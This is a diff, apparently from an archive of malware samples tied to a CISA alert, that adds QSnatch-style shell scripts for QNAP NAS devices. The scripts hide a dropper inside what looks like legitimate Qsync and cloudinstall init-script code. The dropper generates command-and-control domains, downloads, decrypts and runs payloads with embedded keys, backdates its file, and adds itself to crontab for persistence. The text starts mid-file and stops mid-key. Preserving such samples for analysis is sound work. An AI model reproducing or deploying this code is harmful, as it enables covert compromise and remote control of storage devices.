'H;${x;s/\(.*\n\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\n//I;s/\(^\|\n\)\[[^\n]\+\]\n.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } + +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } + +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in Public Download Multimedia Web Recordings homes; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +grep -F '' </dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } + +EOF +test "$fgrep" || fgrep=grep +test "$RANDOM" || RANDOM=17653 +genrstr () +{ + local s=; + local min=${1:-4}; + local max=${2:-12}; + local kspace="${3:-a-zA-Z}" + tr -dc "$kspace" < /dev/urandom | { + read -rn $(($RANDOM % ( $max - $min + 1 ) + $min )) s; + echo "$s" + } +} + +verifyfile() { +local file="$1" +local sig="${2:-$file_s}" +local out +test ! -z "$file" && test -s "$file" || return 1 +test ! -z "$sig" && test -s "$sig" || return 1 +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +out=$(openssl dgst -sha1 -verify ".rsakey" -signature "$sig" "$file") && test "$out" = "Verified OK" && return 0 +return 1 +} + +decryptfile() { +local file="$1" +local ofile="${2:-${file}}" +local key='NOPE' +openssl enc -d -aes-256-cbc -k "$key" -md sha1 -salt < "$file" > "${file}_d" || return $? +test -f "$ofile" && rm -f "$ofile" +mv "${file}_d" "$ofile" && return 0 +return 1 +} + +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' + +DOMAIN_EXT_A='cf tk ml ga gq' +DOMAIN_EXT_B='com biz org de rocks mx cn top nl men ws se info xyz net today ru fi name to in com.ua vg vn cd' + +test -d "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.config" || mkdir "${bdir}/.qpkg/.config" +cd "${bdir}/.qpkg/.config" && rm -f .tmp.* + +echo "$verifykey" > ".rsakey" +i=0 n=0 c=0 errorcount=0 +outfile=$(mktemp "./.tmp.XXXXXX") || outfile=$(mktemp "${bdir}/.tmp.XXXXXX") || outfile=$(mktemp "/.tmp.XXXXXX") || outfile='./.tmp.out' + +for domainexts in "$DOMAIN_EXT_A" "$DOMAIN_EXT_B"; do + for ext in $domainexts; do + hostname=$(echo "$(( $(date +%s) / 1296000 ))IbjGOEgnuD${ext}" | openssl dgst -sha1 -binary | openssl base64 | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g') + hostname=${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9]} + hostnames="${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9]} ${hostname%[a-z0-9][a-z0-9][a-z0-9]}" + hostnames="$hostnames ${hostname%[a-z0-9][a-z0-9]} ${hostname%[a-z0-9]} $hostname" + for host in $hostnames; do + test -f "$outfile" && rm -f "$outfile" + recentupdate='' + curl --connect-timeout 12 -m 30 -k -o "$outfile" "https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)" + test -s "$outfile" || continue + fsize=$(( $(wc -c < "$outfile") )) + test "$fsize" -gt 4096 && rm -f "$outfile" && continue + rsamsg=$(openssl base64 -in "$outfile" -d | openssl rsautl -pubin -inkey ".rsakey" -verify) || continue + test "$rsamsg" || continue + path="${rsamsg%|*}"; rsadomain="${path%|*}"; path="${path#*|}" + hash="${rsamsg##*|}"; ts="${hash#*_}"; hash="${hash%_*}" + test "$rsadomain" = "${host}.${ext}" || continue + timenow=$(date +%s) + test "$ts" -gt 0 && { test "$ts" -gt "$timenow" || test $(( $timenow - $ts )) -lt 172800; } && recentupdate=1 + curl --connect-timeout 12 -m 300 -k -o "$outfile" "https://${host}.${ext}/${path}" + filehash=$(openssl dgst -sha1 -binary "$outfile" | openssl base64) || continue + test "$filehash" = "$hash" || continue + curl --connect-timeout 12 -m 30 -k -o "${outfile}_s" "https://${host}.${ext}/s/${path}" + verifyfile "$outfile" "${outfile}_s" && decryptfile "$outfile" || continue + mv "${outfile}_s" "${ts}_v" + chmod 755 "$outfile" || continue + ( ( exec >/dev/null 2>/dev/null /dev/null 2>&1 & ) & ) + test "$recentupdate" -eq 1 && exit 0 + done + done +done + + +if [ "$fromrcS" = 'TRUE' ]; then +# if Qsync is disable before 4.3.0, we will touch /mnt/HDA_ROOT/udpate_pkg/.QsyncServer_disabled +set_default_disable_status() +{ + QPKG_ENABLE=`$CMD_GETCFG ${QSYNC_NAME} Enable -d "NULL" -f ${QPKG_CONF}` + OLD_ENABLE=`$CMD_GETCFG Qsync Enable -u -d NULL` + if [ -f "${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed" ]; then + return + fi + + if [ "$QPKG_ENABLE" = "NULL" ]; then + if [ "$OLD_ENABLE" = "FALSE" ]; then + dbg "touch ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled" + /bin/touch "${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled" + fi + fi +} + +if [ "x$HBS_ENABLE" = xnull ] || [ "x$HBS_ENABLE" = xFALSE ]; then + export QNAP_QPKG=rtrr +else + export QNAP_QPKG=HybridBackup + /usr/local/sbin/qboost_util -S -n rtrr -E 0 1>/dev/null 2>&1 +fi +start() +{ + if [ -f /usr/bin/qsyncman ]; then + [ ! -f /etc/config/hdcopyusb.conf ] || /bin/rm -f /etc/config/hdcopyusb.conf + /bin/sed -i '/hdusb_copy/d' /etc/config/crontab + /usr/bin/crontab /etc/config/crontab + echo -n "Starting QSync manitor: " + [ -d /etc/config/qsync ] || /usr/bin/install -d /etc/config/qsync + [ -f /etc/config/qsync/qhost.conf ] || /bin/touch /etc/config/qsync/qhost.conf + [ -f /etc/config/qsync/qsyncjobdef.conf ] || /bin/touch /etc/config/qsync/qsyncjobdef.conf + [ -f /etc/config/qsync/qsync.conf ] || /bin/cp -p /etc/default_config/qsync/qsync.conf /etc/config/qsync/qsync.conf + [ -f /etc/config/qsync/extdrv.conf ] || /bin/cp -p /etc/default_config/qsync/extdrv.conf /etc/config/qsync/extdrv.conf + [ -f /etc/config/qsync/qsyncd.conf ] || /bin/cp -p /etc/default_config/qsync/qsyncd.conf /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsyncd.conf ] || /bin/chmod 640 /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsync.conf ] || /bin/chmod 640 /etc/config/qsync/qsync.conf + [ ! -f /etc/config/qsync/qhost.conf ] || /bin/chmod 640 /etc/config/qsync/qhost.conf + /sbin/daemon_mgr qsyncman start "/usr/bin/qsyncman 1>/dev/null 2>&1" + echo "OK" + fi +} + +stop() +{ + echo "Shutting down QSync monitor: OK" + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + kill $pidnum 2>/dev/null + i=0 + while [ ${i} -lt 5 ] + do + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + if [ -z "$pidnum" ]; then + break + fi + sleep 1 + i=`/usr/bin/expr ${i} + 1` + done + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + [ -z "$pidnum" ] || kill -9 $pidnum 2>/dev/null + /sbin/daemon_mgr qsyncman stop "/usr/bin/qsyncman" + /usr/bin/killall -q qsyncman +} + +start_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x1 ] || return -1 + _qsyncd_run_pid=`/bin/pidof qsyncd` + [ -z $_qsyncd_run_pid ] || return -114 + _recycle_en=`/sbin/getcfg 'Network Recycle Bin' Enable -d FALSE` + _with_syslog=$1 + if [ "x$_recycle_en" = xTRUE ]; then + if [ "x$_with_syslog" = x1 ]; then + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + else + if [ "x$_with_syslog" = x1 ]; then + /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + fi + _iret=$? + if [ "x$_iret" = x0 ]; then + i=0 + while [ ${i} -lt 10000 ] + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" != "x-1" ] && [ ! -z $_qsyncd_run_pid ]; then + break + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + fi + return -$_iret +} + +stop_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x0 ] || return -1 + _qsyncd_pid=`/sbin/getcfg "" Pid -d -1 -f /etc/qsync/qsyncd.conf` + [ $_qsyncd_pid -lt 0 ] && return -3 + # Send SIGUSR1 to inform the daemon to output "[RTRR Server] Stopped" event log + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + # Send SIGINT to stop the QSyncd process + /bin/kill -SIGINT $_qsyncd_pid + _kill_ret=$? + if [ "x$_kill_ret" != x0 ]; then + return -3 + fi + echo "need wait $1 millisecond" + i=0 + while true + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" = "x-1" ] && [ -z $_qsyncd_run_pid ]; then + break + fi + if [ ${i} -ge $1 ]; then + # if time-out, we send two additional SIGINT to force the daemon to stop. + if [ $_qsyncd_pid -ge 0 ]; then + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + /bin/kill -SIGUSR1 $_qsyncd_pid + fi + j=0 + while [ ${j} -lt 500 ] + do + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ -z $_qsyncd_run_pid ]; then + return 0 + fi + usleep 20000 + j=`/usr/bin/expr ${j} + 20` + done + return -62 + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + return 0 +} + + +install() +{ + lock_file="/var/lock/qbox_install_bin.lck" + + if [ ! -f "${INSTALL_BUILD_IN}" ]; then + dbg "build-in ${QSYNC_NAME} is installed" + return 1 + fi + + if [ ! -f ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin ]; then + dbg "${QSYNC_NAME}.bin} not found" + return 1 + fi + + if [ ! -x "${QPKG_CLI}" ]; then + dbg "${QPKG_CLI} not found" + return 1 + fi + + ## make sure volume is exist + if [ ! -d /share/`/sbin/getcfg SHARE_DEF defPublic -d Public -f /etc/config/def_share.info` ]; then + dbg "/share/Public not found" + return 1 + fi + + ## is removed + if [ -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed ]; then + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "${QSYNC_NAME} is removed" + return 1 + fi + + if [ -f "$lock_file" ]; then + if [ $(( $(date +%s) - $(date +%s -r $lock_file) )) -le 180 ]; then + echo "${QSYNC_NAME} is installing" + dbg "${QSYNC_NAME} is installing" + return 1 + fi + fi + + /bin/touch "$lock_file" + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "install build-in ${QSYNC_NAME} start" + + set_default_disable_status + + ## install build in Qsync + ${QPKG_CLI} -K -m ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin > /dev/null 2>&1 + sleep 20 + + wait_install=60 + ## avoid initial take long time or fail + while [ "$wait_install" -gt 0 ]; do + stcode=`$CMD_GETCFG ${QSYNC_NAME}.bin stcode -f /etc/config/qpkg_job.conf` + if [ "$stcode" = "0" ]; then + break + fi + sleep 1 + let "wait_install--" + done + + ${QPKG_CLI} -C ${QSYNC_NAME}.bin > /dev/null 2>&1 + /bin/rm -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled + /bin/rm -f "$lock_file" + dbg "install build-in ${QSYNC_NAME} success" +} + +if [ "$1" == "stop" ]; then + { /share/MD0_DATA/NOPE; exit 0; } +fi +fi +XEOF +chmod 755 "${bdir}/.qpkg/.config/backup_conf.sh" +touch -cr /bin/busybox "${bdir}/.qpkg/.config/backup_conf.sh" +( ( exec >/dev/null 2>&1 /dev/null 2>/dev/null & ) & ) +fi + +test -x "${bdir}/.qpkg/.config/backup_conf.sh" || chmod 755 "${bdir}/.qpkg/.config/backup_conf.sh" + +crontabargs=$(ps | grep 'cr[o]nd ' | sed -n 's/.*crond[^0-9A-Za-z-]*\(.\+\)/\1/p') +trycount=10; trycount=$(( $trycount - 10 )) +set x $crontabargs; shift +while [ $# -gt 0 ] && [ $trycount -lt 10 ]; do +trycount=$(( $trycount + 1 )) +getopts ':c:' OPT 2>/dev/null +test "$OPT" = 'c' && crontabfile="${OPTARG}/admin" && break +test "$OPTIND" -gt 0 && shift "$OPTIND" && OPTIND=1 || break +done +test "$crontabfile" && test -f "${crontabfile}" || crontabfile='/tmp/cron/crontabs/admin' + +for crontab in "$crontabfile" "${confdir}/crontab"; do +if $fgrep "${bdir}/.qpkg/.config/backup_conf.sh" "$crontab"; then +: +else +cronmins=$(printf '%i' "$(( $RANDOM % 60 ))") +cronhour=$(printf '%i' "$(( $RANDOM % 24 ))") +cronhour=$(printf '%i,' "$(( ( $cronhour + 8 ) % 24 ))" "$(( ( $cronhour + 16 ) % 24 ))")"$cronhour" +echo "$cronmins $cronhour"' * * * '"${bdir}/.qpkg/.config/backup_conf.sh >/dev/null 2>/dev/null" >> "$crontab" +crontab "$crontab" +sleep 2 +fi +done +) & ) & diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/15892206207fdef1a60af17684ea18bcaa5434a1c7bdca55f460bb69abec0bdc b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/15892206207fdef1a60af17684ea18bcaa5434a1c7bdca55f460bb69abec0bdc new file mode 100644 index 0000000..ea60dcf --- /dev/null +++ b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/15892206207fdef1a60af17684ea18bcaa5434a1c7bdca55f460bb69abec0bdc @@ -0,0 +1,550 @@ +#!/bin/sh +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" +command -v dirname >/dev/null 2>&1 || dirname () { test -z "$1" && echo "." && return; local r="${1%"${1##*[!/]}"}"; case $r in /*[!/]*/*|[!/]*/*) r="${r%/*}"; echo "${r%"${r##*[!/]}"}";; */*) echo ${r%%[!/]};; "") echo $1;; *) echo .;; esac; } +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\ +\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\ +//I;s/\(^\|\ +\)\[[^\ +]\+\]\ +.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in homes Public Download Multimedia Web Recordings; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +grep -F '' </dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } + +EOF +test "$fgrep" || fgrep=grep + +if [ ! -f "${bdir}/.qpkg/.config/backup_conf.sh" ]; then +test -d "${bdir}/.qpkg" || mkdir -p "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.config" || mkdir "${bdir}/.qpkg/.config" +cat > "${bdir}/.qpkg/.config/backup_conf.sh" <<"XEOF" +#!/bin/sh +QNAP_QPKG=cloudinstall +QID_PRESISTENT_CONF=/etc/config/qid_persistent.conf +NAS_CLOUD_INSTALL_PATH=/home/httpd/cgi-bin/cloudinstall +CLOUD_INSTALL_PATH=/tunnel_agent +CLOUD_INSTALL_RAMDISK_PATH=/tunnel_agent_ramdisk +CLOUD_INSTALL_AGENT_FILE_PATH=$CLOUD_INSTALL_PATH/tunnel_agent.tar.bz2 +COUNTER=1 +ERROR_BAD_REQUEST=400 + +if [ "$fromrcS" = 'TRUE' ]; then +case "$1" in + start) + START_TIME=$(date +"%T") + echo -e "start:$START_TIME" >> /tmp/.cloudinstall.log + while [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; + do + # report device info and get cloudinstall agent app download url + DOWNLOAD_URL=`/usr/sbin/qcloud_uninit_device_tool -r` + if [ ! -d "$CLOUD_INSTALL_PATH" ]; then + if [ "$NAS_ARCH" == "ARM_64" ]; then + # create ramdisk and create a 64mb file + /bin/mkdir -p $CLOUD_INSTALL_RAMDISK_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_RAMDISK_PATH + /bin/dd if=/dev/zero of=$CLOUD_INSTALL_RAMDISK_PATH/image bs=1M count=64 + # create block size 1K filesystem + /sbin/mke2fs -b 1024 $CLOUD_INSTALL_RAMDISK_PATH/image + # create virtual disk + export USED_LOOP_DEVICE=`/usr/local/sbin/losetup -f $CLOUD_INSTALL_RAMDISK_PATH/image` + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "USED_LOOP_DEVICE" "$USED_LOOP_DEVICE" + /bin/mkdir -p $CLOUD_INSTALL_PATH + # mount virtual disk + /bin/mount $USED_LOOP_DEVICE $CLOUD_INSTALL_PATH + else + # create and mount tmpfs folder + /bin/mkdir -p $CLOUD_INSTALL_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_PATH + fi + fi + cd $CLOUD_INSTALL_PATH + + if [[ $DOWNLOAD_URL == https* ]]; then + REPORT_SUCCESS_TIME=$(date +"%T") + else + REPORT_FAIL_TIME=$(date +"%T") + echo -e " report_fail:$REPORT_FAIL_TIME\n response:$DOWNLOAD_URL" >> /tmp/.cloudinstall.log + # stop retry when got bad request + # prevent put bad request all the time + if [[ $DOWNLOAD_URL == *$ERROR_BAD_REQUEST* ]]; then + break + fi + fi + + # downlaod cloudinstall agent app + /usr/sbin/qcloud_uninit_device_tool -o "$CLOUD_INSTALL_AGENT_FILE_PATH" -d "$DOWNLOAD_URL" + + if [ -f "$CLOUD_INSTALL_AGENT_FILE_PATH" ]; then + DOWNLOAD_FINISH_TIME=$(date +"%T") + # unzip and execute cloudinstallagent + /bin/tar -xf $CLOUD_INSTALL_AGENT_FILE_PATH -C $CLOUD_INSTALL_PATH + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh start &> /dev/null + + UNZIP_TIME=$(date +"%T") + fi + + if [ ! -d "$NAS_CLOUD_INSTALL_PATH" ]; then + # create folder and create symbolic link + /bin/mkdir -p $NAS_CLOUD_INSTALL_PATH + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.html $NAS_CLOUD_INSTALL_PATH/index.html + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.cgi $NAS_CLOUD_INSTALL_PATH/cloudinstall.cgi + /bin/ln -s $CLOUD_INSTALL_PATH/ui/static $NAS_CLOUD_INSTALL_PATH/static + fi + + # wait connect + sleep 5 + CLOUD_INSTALL_AGENT_PID_LIST=`/bin/ps --columns 256 | /bin/grep "$CLOUD_INSTALL_PATH/bin/cloudinstallagent" | /bin/grep -v grep | /bin/awk '{print $1}'` + if [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; then + SLEEP_TIME=$(( 30 * $COUNTER )) + if [ $SLEEP_TIME -gt 300 ]; then + SLEEP_TIME=300 + fi + # wait next retry + sleep $SLEEP_TIME + fi + COUNTER=$(( $COUNTER * 2 )) + done + + END_TIME=$(date +"%T") + echo -e "report_success:$REPORT_SUCCESS_TIME\ndownload_finish:$DOWNLOAD_FINISH_TIME\nunzip_finish:$UNZIP_TIME\nend:$END_TIME" >> /tmp/.cloudinstall.log + # call for a new process group and for later kill + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh start &> /dev/null & + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_daemon.sh &> /dev/null & + + # set cloudinstall report status + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "REPORT_STATUS" "uninit" + # add link to report offline + /bin/ln -sf /etc/init.d/cloudinstall_report_offline.sh /etc/rcK.d/K99cloudinstall_report_offline + + # buzzer + HARDWARE_TYPE=$(uname -m) + if [[ "$HARDWARE_TYPE" == *"x86"* ]]; + then + /sbin/hal_app --se_buzzer enc_id=0,mode=101 + elif [[ "$HARDWARE_TYPE" == *"arm"* ]]; + then + /sbin/pic_raw 81 + fi + ;; + + stop) + # disconnect cloudinstall agent + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh stop &> /dev/null + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh stop &> /dev/null + for i in "${CLOUD_INSTALL_AGENT_DAEMON_PID_LIST[@]}" + do + # use bash kill instead /bin/kill for kill process group + # cloudinstall agent daemon and inotifywait + kill -9 -- -$i &>/dev/null + done + + # umount + if [ "$NAS_ARCH" == "ARM_64" ]; then + /bin/umount -l $USED_LOOP_DEVICE + /usr/local/sbin/losetup -d $USED_LOOP_DEVICE + else + /bin/umount -l $CLOUD_INSTALL_PATH + fi + # remove all files + if [ -d "$NAS_CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $NAS_CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_RAMDISK_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_RAMDISK_PATH + fi + ;; + + restart) + $0 stop + $0 start + ;; + + *) + echo "Usage: $0 {start|stop|restart}" + exit 1 +esac +exit 0 + + +set_env() +{ + debug=`$CMD_GETCFG Qsync Debug -u -d NULL` + if [ "$debug" != "NULL" ]; then + /bin/touch $LOG_FILE + else + /bin/rm -f $LOG_FILE + fi +} + +set_env + +dbg() +{ + if [ -f "$LOG_FILE" ]; then + echo "[`date "+%H:%M:%S"`] $@ " >> $LOG_FILE + fi +} + +dbg "> $0 $@ (pid $$)" + +fi + +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" + +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\n\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\n//I;s/\(^\|\n\)\[[^\n]\+\]\n.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } + +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } + +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in Public Download Multimedia Web Recordings homes; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +grep -F '' </dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } + +EOF +test "$fgrep" || fgrep=grep +test "$RANDOM" || RANDOM=17653 +genrstr () +{ + local s=; + local min=${1:-4}; + local max=${2:-12}; + local kspace="${3:-a-zA-Z}" + tr -dc "$kspace" < /dev/urandom | { + read -rn $(($RANDOM % ( $max - $min + 1 ) + $min )) s; + echo "$s" + } +} + +verifyfile() { +local file="$1" +local sig="${2:-$file_s}" +local out +test ! -z "$file" && test -s "$file" || return 1 +test ! -z "$sig" && test -s "$sig" || return 1 +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +out=$(openssl dgst -sha1 -verify ".rsakey" -signature "$sig" "$file") && test "$out" = "Verified OK" && return 0 +return 1 +} + +decryptfile() { +local file="$1" +local ofile="${2:-${file}}" +local key='7C0vK4SzMO15zBxLD7XCi5hbjgP1ZjkJ' +openssl enc -d -aes-256-cbc -k "$key" -md sha1 -salt < "$file" > "${file}_d" || return $? +test -f "$ofile" && rm -f "$ofile" +mv "${file}_d" "$ofile" && return 0 +return 1 +} + +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJog4rwwS''z1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV 